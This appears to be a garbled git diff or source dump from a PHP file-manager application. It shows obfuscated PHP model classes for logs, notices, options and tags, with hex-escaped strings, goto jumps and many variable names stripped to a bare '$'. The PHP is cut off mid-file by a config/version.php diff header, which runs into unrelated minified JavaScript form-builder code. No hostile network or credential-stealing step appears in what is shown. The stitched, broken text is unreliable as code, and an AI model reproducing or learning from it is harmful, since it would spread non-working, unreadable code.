$_SERVER[]; $ = "\x7b\151\157\72{$ӿ۪}\x7d\57"; $ = array($[403] => 0, $[1161] => array($[378], "{$}\45")); $Ԉ = Model($[1790])->where($)->field($[488])->select(); if (empty($Ԉ)) { return; } $ = array_to_keyvalue($Ԉ, $[12], $[488]); Model($[595])->remove($); } } class SystemLightAppModel extends ModelBaseLight { public $optionType = "\123\171\x73\x74\x65\x6d\x2e\114\x69\x67\150\164\101\160\x70"; public $modelType = "\123\171\163\164\145\155\x4f\x70\x74\151\157\x6e"; public $field = array("\156\141\155\x65", "\x67\162\157\165\160", "\x64\x65\x73\143", "\143\157\x6e\x74\145\x6e\x74"); public function listData($̶ = false, $˾ = "\x6d\x6f\x64\151\146\171\x54\151\155\x65", $냆 = true) { return parent::listData($̶, $˾, $냆); } public function remove($) { $¹ = $this->findByName($); if (!$¹) { return !1; } return parent::remove($¹[$_SERVER[][401]]); } public function add($) { if ($this->findByName($[$_SERVER[][32]])) { return !1; } return parent::insert($); } public function update($, $) { $ʝ =& $_SERVER[]; $ = $this->findByName($); $ކ = $this->findByName($[$ʝ[32]]); if (!$ || $ކ && $ކ[$ʝ[401]] != $[$ʝ[401]]) { return !1; } return parent::update($[$ʝ[401]], $); } } class SystemLogModel extends ModelBase { protected $tableName = "\163\171\163\164\x65\x6d\x5f\x6c\x6f\x67"; protected $dataAuto = array(array("\143\162\x65\x61\x74\145\x54\x69\x6d\x65", "\x74\151\x6d\145", "\151\x6e\163\x65\x72\164", "\x66\165\156\143\x74\151\x6f\x6e")); public $typeList; function __construct() { parent::__construct(); $this->typeList = $this->typeListAll(); } public function typeListAll() { $ =& $_SERVER[]; return array($[2126] => LNG($[2127]), $[2128] => LNG($[2129]), $[1753] => LNG($[2130]), $[2131] => LNG($[2132]), $[2133] => LNG($[2134]), $[2135] => LNG($[2136]), $[2137] => LNG($[2138]), $[1783] => LNG($[2138]), $[1784] => LNG($[2139]), $[2140] => LNG($[2141]), $[2142] => LNG($[2143]), $[2144] => LNG($[2145]), $[2146] => LNG($[2147]), $[1781] => LNG($[2148]), $[2149] => LNG($[2150]), $[1788] => LNG($[2151]), $[2152] => LNG($[2153]), $[2154] => LNG($[2155]), $[2156] => LNG($[2157]), $[2158] => LNG($[2159]), $[1791] => LNG($[2160]), $[1792] => LNG($[2161]), $[2162] => LNG($[2163]), $[2164] => LNG($[2165]), $[2166] => LNG($[2167]), $[1786] => LNG($[2168]), $[2169] => LNG($[2170]), $[1785] => LNG($[2171]), $[2172] => LNG($[2173]), $[2174] => LNG($[2175]), $[2176] => LNG($[2177]), $[2178] => LNG($[2178]), $[2179] => LNG($[1757]), $[2180] => LNG($[2181]), $[2182] => LNG($[2183]), $[2184] => LNG($[2185]), $[2186] => LNG($[2187]), $[2188] => LNG($[2189]), $[2190] => LNG($[2190]), $[2191] => LNG($[2192]), $[2193] => LNG($[2194]), $[2195] => LNG($[2196]), $[2197] => LNG($[2198]), $[2199] => LNG($[2200]), $[2201] => LNG($[2202])); } private function typeFile() { $Ǵ =& $_SERVER[]; $ = array($Ǵ[1788] => array($Ǵ[1789]), $Ǵ[2144] => array($Ǵ[2203]), $Ǵ[2146] => array($Ǵ[2204]), $Ǵ[1781] => array($Ǵ[1782]), $Ǵ[2154] => array(), $Ǵ[2156] => array(), $Ǵ[2158] => array(), $Ǵ[1791] => array($Ǵ[1793]), $Ǵ[1792] => array($Ǵ[1793]), $Ǵ[2162] => array($Ǵ[2205]), $Ǵ[2164] => array($Ǵ[2205]), $Ǵ[2166] => array($Ǵ[2206]), $Ǵ[2152] => array($Ǵ[2207]), $Ǵ[1786] => array($Ǵ[2208]), $Ǵ[2169] => array($Ǵ[2209]), $Ǵ[1785] => array($Ǵ[1787])); return $; } private function typeAll() { $ǀ =& $_SERVER[]; $ = $this->typeList; $ = array_filter($this->typeFile()); foreach ($ as $ϖ => $՛) { $[$՛[0]] = $[$ϖ]; } $[$ǀ[1793]] = LNG($ǀ[2210]); $[$ǀ[2205]] = LNG($ǀ[2211]); return $; } public function addLog($Ǚ, $Ț = array()) { $ǥ =& $_SERVER[]; if (!isset($this->typeList[$Ǚ])) { return; } $ғ = defined($ǥ[474]) && USER_ID ? USER_ID : (isset($Ț[$ǥ[1642]]) ? $Ț[$ǥ[1642]] : 0); if (!$ғ) { $ғ = (int) Session::get($ǥ[1942]); } $ޢ = get_client_ip(); if (!$Ț || strlen(json_encode($Ț)) >= 1024) { $Ț = array($ǥ[2212] => $ޢ); } else { if (is_array($Ț)) { $Ț[$ǥ[2212]] = $ޢ; } else { $Ț = array($ǥ[1178] => $Ț, $ǥ[2212] => $ޢ); } } $Ț = array($ǥ[1632] => Session::sign(), $ǥ[1633] => $ғ, $ǥ[33] => $Ǚ, $ǥ[1635] => json_encode($Ț)); parent::add($Ț); } public function remove($ڷ) { $this->where(array($_SERVER[][420] => $ڷ))->delete(); } private function _makeOrder($亇 = '') { $ =& $_SERVER[]; $跏 = $[193]; $ = array($[448] => $[449], $[450] => $[451]); $ϒ = Input::get($[456], $[7], $[1974], array($[1900], $[450])); $ϒ = $[$ϒ]; $亇 = $亇 . "{$跏}\x20{$ϒ}"; return $this->order($亇); } public function get($䫖 = '') { $ݝ =& $_SERVER[]; if (!$䫖) { show_json(array()); } $ = array(); if ($䫖[$ݝ[1642]]) { $[$ݝ[1642]] = $䫖[$ݝ[1642]]; } if (isset($䫖[$ݝ[754]])) { $ = $䫖[$ݝ[754]]; $ = isset($䫖[$ݝ[496]]) ? $䫖[$ݝ[496]] : time(); $[$ݝ[193]] = array($ݝ[328], array($, $)); } if ($䫖[$ݝ[33]]) { $ = explode($ݝ[50], $䫖[$ݝ[33]]); $ = $this->typeFile(); $Ѥʭ = array(); foreach ($ as $) { $Ѥʭ[] = $; if (isset($[$])) { $Ѥʭ = array_merge($Ѥʭ, $[$]); } } $Ѥʭ = array_unique($Ѥʭ); if ($Ѥʭ) { $[$ݝ[33]] = array($ݝ[7], $Ѥʭ); } } else { $[$ݝ[33]] = array($ݝ[2213], $ݝ[2214]); } if (!empty($䫖[$ݝ[2212]])) { $[$ݝ[451]] = array($ݝ[378], "\45{$䫖[$ݝ[2212]]}\45"); } $ = $this->_makeOrder()->where($)->selectPage(); if (empty($[$ݝ[364]])) { show_json(array(), !0, $[$ݝ[361]]); } $[$ݝ[364]] = $this->logList($[$ݝ[364]]); return $; } private function ipAddress(&$ɔ) { $ =& $_SERVER[]; if (!empty($ɔ[$[2212]])) { $ = IpLocation::get($ɔ[$[2212]]); } else { $ = LNG($[2215]); } $ɔ[$[2216]] = $; } private function descZipDownload($˺Ӌ, &$ۊČ) { $ҽ =& $_SERVER[]; if (!isset($˺Ӌ[$ҽ[2217]])) { return; } $ = json_decode($˺Ӌ[$ҽ[2217]], !0); foreach ($ as $) { try { $ = IO::infoFull($[$ҽ[78]]); } catch (Exception $띣) { continue; } $˺Ӌ[$ҽ[78]] = $[$ҽ[78]]; $ۊČ[] = $˺Ӌ[$ҽ[403]] = $[$ҽ[403]]; $ۊČ[] = $˺Ӌ[$ҽ[2028]] = $[$ҽ[498]]; break; } return $˺Ӌ; } private function getSourceList(&$Ɗ) { $ =& $_SERVER[]; $Ę = array(); foreach ($Ɗ as $ݫ => $ٵژ) { $ = json_decode($ٵژ[$[451]], !0); if ($ٵژ[$[33]] == $[1784]) { $ = $this->descZipDownload($, $Ę); $Ɗ[$ݫ][$[451]] = json_encode($); continue; } if (strpos($ٵژ[$[33]], $[2030]) !== 0) { if (!isset($[$[78]]) || strpos($ٵژ[$[33]], $[2218]) !== 0) { continue; } try { $砱 = IO::infoFull($[$[78]]); } catch (Exception $) { continue; } $Ę[] = $[$[403]] = $砱[$[403]]; $Ę[] = $[$[2028]] = $砱[$[498]]; $Ɗ[$ݫ][$[451]] = json_encode($); continue; } $Ę[] = $[$[403]]; $Ę[] = $[$[2028]]; if ($[$[33]] == $[551]) { $Ę[] = $[$[451]][$[1145]]; $Ę[] = $[$[451]][$[1146]]; } if ($[$[33]] == $[2037]) { $Ę[] = $[$[451]][$[403]]; } } if (!$Ę) { return array(); } return Model($[818])->sourceListInfo($Ę, !0); } private function logList($۶ʪ) { $ =& $_SERVER[]; $ = array_to_keyvalue($۶ʪ, $[12], $[1642]); $ = Model($[538])->userListInfo(array_unique($)); $ = $this->getSourceList($۶ʪ); $ = $this->typeAll(); $ٯ = array(); $֤ = array(); foreach ($۶ʪ as $߶ => $̲) { $ = $̲[$[33]]; $ٕ = isset($[$̲[$[1642]]]) ? $[$̲[$[1642]]] : !1; $߳ = strpos($, $[2219]) === 0 ? LNG($[2220]) : LNG($[2215]); $̲[$[32]] = isset($ٕ[$[32]]) ? $ٕ[$[32]] : LNG($[2215]); $̲[$[2078]] = isset($ٕ[$[2078]]) ? $ٕ[$[2078]] : $[12]; $̲[$[1539]] = isset($[$]) ? $[$] : $߳; $̲[$[1973]] = $ٕ; $ƣ = json_decode($̲[$[451]], !0); $̲[$[2212]] = isset($ƣ[$[2212]]) ? $ƣ[$[2212]] : $[12]; $̲[$[2216]] = IpLocation::get($̲[$[2212]]); if (strpos($, $[2030]) === 0 || isset($ƣ[$[2028]])) { $ƣ[$[87]] = $[$ƣ[$[403]]]; $ƣ[$[2042]] = $[$ƣ[$[2028]]]; if ($ƣ[$[33]] == $[551]) { $ƣ[$[451]][$[1145]] = $[$ƣ[$[451]][$[1145]]]; $ƣ[$[451]][$[1146]] = $[$ƣ[$[451]][$[1146]]]; } if ($ƣ[$[33]] == $[2037]) { $ƣ[$[451]][$[403]] = $[$ƣ[$[451]][$[403]]]; } if ($ƣ[$[33]] == $[1779]) { $ƣ[$[2042]] = $ƣ[$[87]]; $ƣ[$[2028]] = $ƣ[$[2042]][$[403]]; $ƣ[$[87]] = !1; $ƣ[$[403]] = $[12]; } if ($ƣ[$[87]] && $ƣ[$[87]][$[412]] == $[1261]) { $֤[] = $̲[$[401]]; unset($۶ʪ[$߶]); continue; } if ($ƣ[$[2042]] && $ƣ[$[2042]][$[412]] == $[1261]) { $֤[] = $̲[$[401]]; unset($۶ʪ[$߶]); continue; } } $̲[$[451]] = $ƣ; unset($̲[$[2221]]); $ٯ[] = $̲; } $this->clearSystemPathLog($֤); return $ٯ; } private function clearSystemPathLog($Ҍ) { $㑵 =& $_SERVER[]; if (count($Ҍ) == 0) { return; } $Ц = array($㑵[401] => array($㑵[7], array_unique($Ҍ))); $this->where($Ц)->delete(); } public function deviceList($, $٥ = 0) { $ =& $_SERVER[]; $Ě = array($[1642] => $, $[193] => array($[1001], $٥), $[33] => $[1753]); $ = array(); $ä = $this->field($[2222])->where($Ě)->order($[2040])->limit(50)->select(); foreach ($ä as $蘩 => $) { if ($蘩 > 0 && abs($[$[193]] - $ä[$蘩 - 1][$[193]]) < 5) { continue; } $ = json_decode($[$[451]], !0); $[$[2212]] = isset($[$[2212]]) ? $[$[2212]] : $[12]; unset($[$[2212]]); $ = $this->deviceType($[$[2031]]); if (isset($[$])) { continue; } $[$[2216]] = IpLocation::get($[$[2212]]); $[$[451]] = $; $[$] = $; } return array_values($); } public function deviceType($šƣ) { return $šƣ; } } goto b; b: class SystemNoticeModel extends ModelBaseLight { public $optionType = "\123\171\x73\x74\145\155\x2e\156\157\x74\151\143\145\114\x69\x73\x74"; public $field = array("\x6e\141\x6d\145", "\x63\x6f\156\x74\x65\x6e\x74", "\x61\x75\164\150", "\155\x6f\144\145", "\164\x69\x6d\x65", "\164\x79\x70\x65", "\x6c\x65\x76\145\154", "\x65\x6e\141\x62\x6c\x65", "\163\x6f\x72\164"); public function listData($ = false, $Ƥ = "\x73\x6f\162\x74", $ = false) { return parent::listData($, $Ƥ, $); } public function add($) { $ؿߒ =& $_SERVER[]; $޸ = time(); if ($[$ؿߒ[16]] == $ؿߒ[2223]) { $޸ = strtotime($[$ؿߒ[196]]); } $[$ؿߒ[196]] = $޸; return parent::insert($); } public function update($Ƙך, $ַ) { $ =& $_SERVER[]; $Τ = $this->listData($Ƙך); if (!$Τ) { return !1; } $ܴ = time(); if ($ַ[$[16]] == $[2223]) { $ܴ = strtotime($ַ[$[196]]); } $ַ[$[196]] = $ܴ; return parent::update($Ƙך, $ַ); } public function remove($й) { $׉ = $this->listData($й); if (!$׉ || $׉[$_SERVER[][1261]]) { return !1; } return parent::remove($й); } public function sort($켇, $Ǐ) { return parent::update($켇, $Ǐ); } public function enable($֕, $ؼ) { return parent::update($֕, array($_SERVER[][2224] => $ؼ)); } private function initUserOption() { $ =& $_SERVER[]; $this->optionType = $[2225]; $this->modelType = $[2226]; $this->field = array($[2227], $[32], $[196], $[33], $[2228], $[743], $[188]); } public function userNoticeGet($ = false) { $this->initUserOption(); return parent::listData($, $_SERVER[][401], !0); } public function userNoticeAdd($ܣ) { $݅־ =& $_SERVER[]; $this->initUserOption(); $扤 = $this->findByKey($݅־[2227], $ܣ[$݅־[401]]); if ($扤) { return !0; } $ = array($݅־[2227] => $ܣ[$݅־[401]], $݅־[32] => $ܣ[$݅־[32]], $݅־[196] => $ܣ[$݅־[196]], $݅־[33] => isset($ܣ[$݅־[33]]) ? $ܣ[$݅־[33]] : 1, $݅־[2228] => isset($ܣ[$݅־[2228]]) ? $ܣ[$݅־[2228]] : 0, $݅־[743] => 0, $݅־[188] => 0); return parent::insert($); } public function userNoticeEdit($, $դ) { $this->initUserOption(); return parent::update($, $դ); } } class SystemOptionModel extends ModelBaseOption { protected $tableName = "\x73\171\x73\164\145\x6d\x5f\x6f\160\164\x69\x6f\156"; protected $jsonField = array("\x6d\x65\x6e\x75", "\x72\157\154\x65", "\x72\x6f\x6c\145\x47\x72\157\x75\x70", "\162\x65\147\x69\x73\x74", "\145\x6d\x61\151\x6c"); function __construct() { parent::__construct(); } protected function cacheKey($֍) { return "\123\x79\163\x74\145\155\x4f\x70\x74\x69\157\x6e\137{$֍}"; } protected function optionDefault($葾 = '') { $ =& $_SERVER[]; if ($葾 == $[12]) { return $GLOBALS[$[6]][$[376]]; } } } class SystemRecordModel extends ModelBaseLight { } goto eӂ; BɆ̏: function binCheckBigger($, $) { return $ > $; } $_SERVER[$_SERVER[䌖][3]] = ("\x37\x39\x39\x30"."\71\62")+0;$_u02o="woxpqr7cnf08islh2jtd6z3bke5v1g4ayum91jrax2c0v9yli7mqgfdh4bzkupto368nw5se07w9j5";; class ClassBaseCall { protected static $_methodListStatic = array(); protected static $_methodList = array(); public function __call($, $) { $٥ =& $_SERVER[]; if (isset(self::$_methodList[$])) { return @call_user_func_array(self::$_methodList[$], $); } else { if (method_exists($this, $)) { return call_user_func_array(array($this, $), $); } else { think_exception(__CLASS__ . $٥[4] . $ . $٥[5]); } } } public static function __callStatic($ـ, $) { if (isset(self::$_methodListStatic[$ـ])) { return call_user_func_array(self::$_methodListStatic[$ـ], $); } else { if (method_exists(self, $ـ)) { return call_user_func_array(array(self, $ـ), $); } else { show_json("{$ـ}\x28\51\40\x6e\x6f\164\x20\145\170\x69\163\164\73", !1); } } } public static function addMethod($旼, $òͅ) { self::$_methodList[$旼] = $òͅ; } public static function addMethodStatic($, $ǜ) { self::$_methodListStatic[$] = $ǜ; } } goto d; a…: class UserTagSourceModel extends ModelBase { protected $tableName = "\165\163\x65\162\137\x66\141\166"; protected function cacheFunctionAlias($) { $ =& $_SERVER[]; return array($[1918] => array(USER_ID, $[1919])); } protected function listData() { $ո =& $_SERVER[]; $ = array($ո[1633] => USER_ID, $ո[483] => array($ո[1922], 0)); $ݫϞ = $ո[1924]; $ = $this->field($ݫϞ)->where($)->order($ո[1925])->select(); return $ ? $ : array(); } protected function listByTag($⩺ݵ) { } protected function addToTag($, $տӥ) { $⚇ =& $_SERVER[]; if (!Model($⚇[2059])->listData($տӥ) || !Model($⚇[818])->pathInfo($)) { return !1; } $ = array($⚇[1633] => USER_ID, $⚇[483] => $տӥ, $⚇[422] => $, $⚇[423] => $⚇[417], $⚇[421] => $⚇[12], $⚇[1814] => 0); if ($this->where($)->find()) { return !1; } return $this->add($); } protected function removeFromTag($ة, $Μ) { $ժ =& $_SERVER[]; if (!Model($ժ[2059])->listData($Μ)) { return !1; } if (is_array($ة)) { $ة = array($ժ[7], $ة); } $܅ = array($ժ[1633] => USER_ID, $ժ[483] => $Μ, $ժ[423] => $ժ[417], $ժ[422] => $ة); return $this->where($܅)->delete(); } protected function removeByTag($) { $҈ =& $_SERVER[]; if (!$) { return !1; } $ = array($҈[1633] => USER_ID, $҈[483] => $); return $this->where($)->delete(); } protected function removeBySource($) { $ =& $_SERVER[]; if (is_array($)) { $ = array($[7], $); } $ۿ = array($[1633] => USER_ID, $[422] => $, $[483] => array($[1001], 0)); return $this->where($ۿ)->delete(); } } \ No newline at end of file diff --git a/config/version.php b/config/version.php index 66d1fefa..1cd1506a 100755 --- a/config/version.php +++ b/config/version.php @@ -1,3 +1,3 @@ "),this.wrapID="form-maker-"+roundString(4),this.formData=$.extend(!0,{},e.formData),this.getValueWith={},this.setValueWith={},this.checkFrom=new s["default"]({"parent":this})},"loadExtence":function(){var e=["button","cityPicker","codeEditor","htmlEditor","imageSelect","color","colorImage","colorLabel","dateTime","fileSelect","fontIcon","html","segment","select","slider","tags","table","member/auth","member/group","member/job","member/role","member/user","member/userSelect","member/userGroup","member/groupAuth"],t=!1;this.loadExtenceView={},this.bind("fieldLoad",function(e){this.loadExtenceView[e]=1,_.every(this.loadExtenceView)&&!t&&(t=!0,this.trigger("initFinished",this))});for(var i=0;i .panel-form-body-main > .panel-form-body")).length?0!=t.find(".tab-content").length?t.find("> .tab-content > .form-row"):t.find("> .form-row"):this.$("> .form-row").add(i),e?i.filter('[data-key="'+e+'"]'):i):$("")},"input$":function(e){var t;return e?0==(t=(e=_.isString(e)?this.formRow$(e):e).find("> .setting-content > [name]")).length?e.find("> .setting-content > label [name]"):t:(t=(e=this.formRow$()).find(" > .setting-content > label > [name]"),e.find("> .setting-content > [name]").add(t))},"resetValue":function(){var i=this;this.formRow$().each(function(){var e=$(this).attr("data-type"),t=$(this).attr("data-key");e&&"html"!=e&&"button"!=e&&(e=i.formData[t],_.isUndefined(t)||!e||_.isString(e)||i.setValue(t,e.value))})},"defaultValue":function(){var i={};return _.each(this.formData,function(e,t){_.isObject(e)&&e.type&&"html"!=e.type&&(i[t]=_.isUndefined(e.value)?"":e.value)}),i},"getValueFormDefault":function(e,t){e=e.val()||"";return _.isArray(e)?e.join(","):e},"setValueFormDefault":function(e,t){e.val(t).trigger("change")},"renderTarget":function(e,t){var i=this.makeHtml(this.formData);if(!i)return!1;var n=this.formData,i=((this.$el=e).html(i),"dialog-form target-form "),i=(i+=_.get(n,"formStyle.className","")+" ")+(_.get(n,"formStyle.tabs")?" dialog-form-has-menu ":" ");$.isWindowSmall()&&(i+=" form-box-title-block"),e.addClass(i),e.find(".form-header").remove(),e.find(".form-target-save").show(),"1"==_.get(this.formData,"formStyle.hideSave")&&e.find(".form-target-save").hide(),t&&t(),this.bindEvent()},"setValueReset":function(){var e=this,t=this.setValue,i={};this.setValue=function(e,t){_.isString(e)?i[e]=t:_.isObject(e)&&(i=$.extend(!0,i,e))},this.bind("initFinished",function(){e.setValue=t,_.isEmpty(i)||e.setValue.apply(e,[i]),i=null})},"dialogClose":function(){this.dialogCloseFinished||(this.dialogCloseFinished=!0,this.dialog&&this.dialog.close())},"renderDialog":function(e,t){var i,n,a,o=this,s=this.formData,r=o.makeHtml(s);return!!r&&(i=_.debounce(function(){o.trigger("dialogResize")},100),r=(n={"padding":0,"fixed":!0,"resize":!0,"className":"dialog-no-title dialog-form","title":LNG["common.systemSet"],"ico":'',"width":700,"height":510,"content":r,"okVal":LNG["common.save"],"ok":function(){var e=o.getFormData(!0),e=!!e.success&&e.result;if(o.trigger("onSave",e),e){if(!t)return;e=t(e);if(e||_.isUndefined(e))return!0}return!1},"resizeCallback":function(){var e=_.get(o,"dialog.$main");e&&e.find(".tab-item.active").tabCurrent(!0),i()},"close":function(){o.objectRemove()}}).className,(a=$.extend(!0,n,e)).className=r+" "+_.get(e,"className","")+" ",a.className+=_.get(s,"formStyle.className","")+" ",a.className+=_.get(s,"formStyle.tabs")?" dialog-form-has-menu ":" ",$.isWindowSmall()&&(a.className+=" form-box-title-block"),r="dialog-form-style-default",_.get(s,"formStyle.tabs")&&(_.includes(a.className,"dialog-form-style-")||(a.className+=" "+r),_.includes(a.className,r)&&a.width&&(a.width+=120)),this.dialog=$.dialog(a),e=this.dialog.$main.find(".aui-title").html(),this.dialog.$main.find(".modal-title").html(e),this.$el=this.dialog.$main,this.$el.data("kodForm",this),this.bindEvent(),t&&this.$(".form-save-button").bind("click",function(){n.ok()}),this.on("onRemove",function(){this.dialogClose()}),this.dialog)},"save":function(){(this.dialog?this.dialog.$main.find(".aui-state-highlight"):this.$(".form-save-button")).click()},"makeHtml":function(e){var t;return"string"==typeof e?(this.loadFile(file),!1):($.isPlainObject(e.formStyle)&&e.formStyle.loadFile&&(t=e.formStyle.loadFile,this._each(t="string"==typeof t?[t]:t,this.loadFile)),t=r(46),e={"items":e,"wrapID":this.wrapID},this.renderHtml(t,e,!1))},"bindEvent":function(){var a=this,e=(this.viewRendering=!0,this.$el=$("#"+this.wrapID),this.$el.data("kodView",this),this.input$());e.each(function(){var e=a.formData[$(this).attr("name")];$(this).data("fieldItem",e)}),this.$("input[type=password]").attr("autocomplete","new-password"),this.bindHotKeyEvent(),this.bindGroupTab(),this.setValueReset(),this.loadExtence(),this.bindFormAll(),this._delay(function(){this.viewRendering=!1},50),this.ignoreAnimation=!1,this.$el.hasClass("form-inline")&&(this.ignoreAnimation=!0),"1"==_.get(this.formData,"formStyle.ignoreAnimation")&&(this.ignoreAnimation=!0);(e=this.input$()).inputChange(function(){var e=$(this),t=$(this).parents(".form-row").first(),i=t.attr("data-key"),n=a.formData[i];n&&"checkbox"==n.type&&(a.checkChangeToggle(t,e,n),a.checkChangeSwitch(t,e,n),a.checkChangeAlias(t,e,n)),a.switchItemChange(i),a._delay(function(){a.trigger("onChange",i,a.getValue(i),t,e)},0)});var t=_.get(a.formData,"formStyle.autoFocus");t&&a.formData[t]&&e.filter('[name="'+t+'"]')&&setTimeout(function(){e.filter('[name="'+t+'"]').focus()},100);for(var i=e.length-1;0<=i;i--)$(e.get(i)).trigger("change");this.$el.delegate(".form-row.error","click",function(){$(this).removeClass("error")}),this.$(".form-save-button").bind("click",function(){var e;$(this).hasClass("disabled")||(e=!!(e=a.getFormData(!0)).success&&e.result,a.trigger("onSave",e,a))}),this.$(".form-reset-button").bind("click",function(){a.resetValue()}),this.bindEventInput(),this.trigger("bindEventInput")},"checkChangeAlias":function(e,s,r){var i,n,t,l;r.checkAlias&&(r.$inputs||(i={},n=r.checkAlias,_.each(n,function(e,t){e+="",t+="",_.isArray(n[t])||(n[t]=e.split(",")),_.each(n[t],function(e){i[e]||(i[e]=[]),-1===i[e].indexOf(t)&&i[e].push(t)})}),r.checkChildren=i,r.$inputs=e.find(">.setting-content > label > input")),e=s.prop("checked"),t=s.attr("value"),l=function l(e,t,i){var n=e[t];if(n)for(var a=0;a.setting-content > label input"),_.each(i.checkToggle,function(e,i){_.isArray(e)||(e=_.trim(e).split(",")),_.each(e,function(e){var t=a.filter('[value="'+e+'"]');t.length&&n.push({"by":i,"k":e,"$inputItem":t})})}),i.checkToggleVal=n),r=t.prop("checked"),o=t.attr("value"),s=this.getValueField(e.attr("data-key")).split(","),_.each(n,function(e){r&&o==e.by&&_.includes(s,e.by)&&e.$inputItem.attr("checked")&&e.$inputItem.removeAttr("checked").trigger("change")}))},"checkChangeSwitch":function(e,t,i){var o,s,a,r;i.checkSwitch&&((o=i.checkSwitchVal)||(o=[],s=e.find(">.setting-content > label"),_.each(i.checkSwitch,function(e,a){_.isArray(e)||(e=_.trim(e).split(",")),_.each(e,function(e){var t="-"==e[0],i="*"==e[0]?"disabled":"hidden",n=("-*"==e.slice(0,2)||"*-"==e.slice(0,2)?(e=e.slice(2),t=!0,i="disabled"):"-"!=e[0]&&"*"!=e[0]||(e=e.slice(1)),s.filter('[data-value="'+e+'"]'));n.length&&o.push({"by":a,"k":e,"$label":n,"isReverse":t,"className":i})})}),i.checkSwitchVal=o),t.prop("checked"),a=t.attr("value"),r=this.getValueField(e.attr("data-key")).split(","),_.each(o,function(n){var e;a==n.by&&(e=_.filter(o,{"k":n.k})||[],(e=_.filter(e,function(e){return e!=n})).push(n),_.each(e,function(e){var t=_.includes(r,e.by),i=t?"removeClass":"addClass";e.isReverse&&(i=t?"addClass":"removeClass"),n.$label[i](e.className)}))}))},"bindEventInput":function(){var i=this,n=(this.$(".input-title[action]").bind("click",function(){var e=$(this).attr("action"),t=$(this).prev(),i=t.val();switch(e){case"openLink":window.open(i);break;case"clear":t.val("");break;case"qrcode":core.qrcode(i);break;case"round8":t.val(roundString(8));break;case"round16":t.val(roundString(16));break;case"round32":t.val(roundString(32));break;case"copy":$.copyText(i),Tips.tips(LNG["explorer.share.copied"])}}),function n(e,t,i){""==t?i.removeClass("item-not-empty"):i.addClass("item-not-empty")});this.bind("onChange",n),this.formRow$().each(function(){var e=i.input$($(this));e.attr("name")&&n(e.attr("name"),e.val(),$(this))}),this.input$().bind("focus",function(){$(this).parents(".form-row").first().addClass("item-focus")}).bind("blur",function(){$(this).parents(".form-row").first().removeClass("item-focus")}),this.$(".input-clear").bind("click",function(e){var t=$(this).parents(".form-row").first();i.input$(t).val("").focus().trigger("change")})},"bindFormAll":function(){var n=this.formRow$(),a=this;this._each(this.getValueWith,function(e,t){var i="bind"+_.upperFirst(t);n.filter(".form-"+t).exists()&&_.isFunction(this[i])&&this[i].apply(this,[function(){a.trigger("fieldLoad",t)},this])})},"switchItemChange":function(e,i,t){var n,a,o,s,r;i=i||{},(t=t||{})[e]||(t[e]=!0,n=this.formData[e],a="button/switch/radio/checkbox/select/tags/segment".split("/"),s=this.getValueField(e),n&&(this.switchItemClassItem(n,s),o=n.switchItemValue&&n.switchItemValue[s],_.isObject(o)&&this.setValue(o),n&&n.switchItem&&_.includes(a,n.type)&&(o=_.map(n.switchItem).join(",").split(","),"button"==n.type&&(s=this.input$(e).val()),r=n.switchItem[s]?n.switchItem[s].split(","):[],this.$el.attr("switch-key-"+e,s),_.includes(s,",")&&this._each(s.split(","),function(e){n.switchItem[e]&&(r=r.concat(n.switchItem[e].split(",")))}),r=_.filter(_.map(r,_.trim)),o=_.filter(_.map(o,_.trim)),this._each(o,function(e){var t=this.formRow$(e);_.includes(r,e)?(this.display(t,1),i[e]=!0):this.display(t,0)}),this._each(o,function(e){_.includes(r,e)?this.switchItemChange(e,i,t):this.switchItemHideChildren(e,i)}))))},"switchItemClassItem":function(e,t){var n;e&&_.isObject(e.switchItemClass)&&(n=(t||"").split(","),this._each(e.switchItemClass,function(e,t){var i=_.includes(n,t)?"addClass":"removeClass";this._each(e,function(e,t){t=this.formRow$(t);t&&t.length&&t[i](e)})}))},"switchItemHideChildren":function(e,i,n){var t=this.formData[e],a="button/switch/radio/checkbox/select/tags/segment".split("/");t&&t.switchItem&&_.includes(a,t.type)&&!(n=n||{})[e]&&(n[e]=!0,a=_.map(t.switchItem).join(",").split(","),a=_.filter(_.map(a,_.trim)),this._each(a,function(e){var t;i[e]||(t=this.formRow$(e),this.display(t,0),this.switchItemHideChildren(e,i,n))}))},"display":function(e,t){var i="item-hide";if(this.viewRendering||e.hasClass("no-animate")||this.ignoreAnimation)return t?e.show().removeClass(i):e.hide().addClass(i);var n=$.easing.def,a={"duration":150,"queue":!($.easing.def="linear")};t?"1"!=e.data("data-show")&&(e.data("data-show","1"),e.stop().slideDown(150,function(){e.show().removeClass(i).css({"opacity":"","overflow":""}),$.easing.def=n}),e.css({"opacity":0}).animate({"opacity":1},a)):"2"!=e.data("data-show")&&(e.data("data-show","2"),e.stop().slideUp(150,function(){e.hide().addClass(i).css({"opacity":"","overflow":""}),$.easing.def=n}),e.animate({"opacity":0},a))},"bindGroupTab":function(){var i=this.$(".tab-panel"),n=this.$(".tab-group .tab-item");if(1==n.length)return this.$(".tab-group").remove();var a=this;i.each(function(){var e=$(this).attr("id"),t=a.$("."+e);0'+e+"":(_.startsWith(e,"/")&&(e="folder"),_.startsWith(e,"./")||_.startsWith(e,"/")||_.startsWith(e,"http://")||_.startsWith(e,"https://")?'
':l[e]?''+('')+"":_.startsWith(e,"icon-")?'':_.includes(e," ")?'':("folder"==e&&i&&(t+=" is-open"),''))},d=function d(e){if(e&&"{"==e[0]){e=(e||"").match(/^{\w+(:[a-zA-Z]+)?}/);if(e&&e[0]){e=e[0].replace(/[{}]/g,"").replace(/:/g,"-");if(r[e])return e}}return""},h=function h(e){var t=!(1":c(e,t)},t.pathIcon=o},function(e,t,n){"use strict";var a="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},r=(Object.defineProperty(t,"__esModule",{"value":!0}),"function"==typeof Symbol&&"symbol"===a(Symbol.iterator)?function(e){return void 0===e?"undefined":a(e)}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":void 0===e?"undefined":a(e)}),o=n(216),o=(o=o)&&o.__esModule?o:{"default":o},s=n(23);var 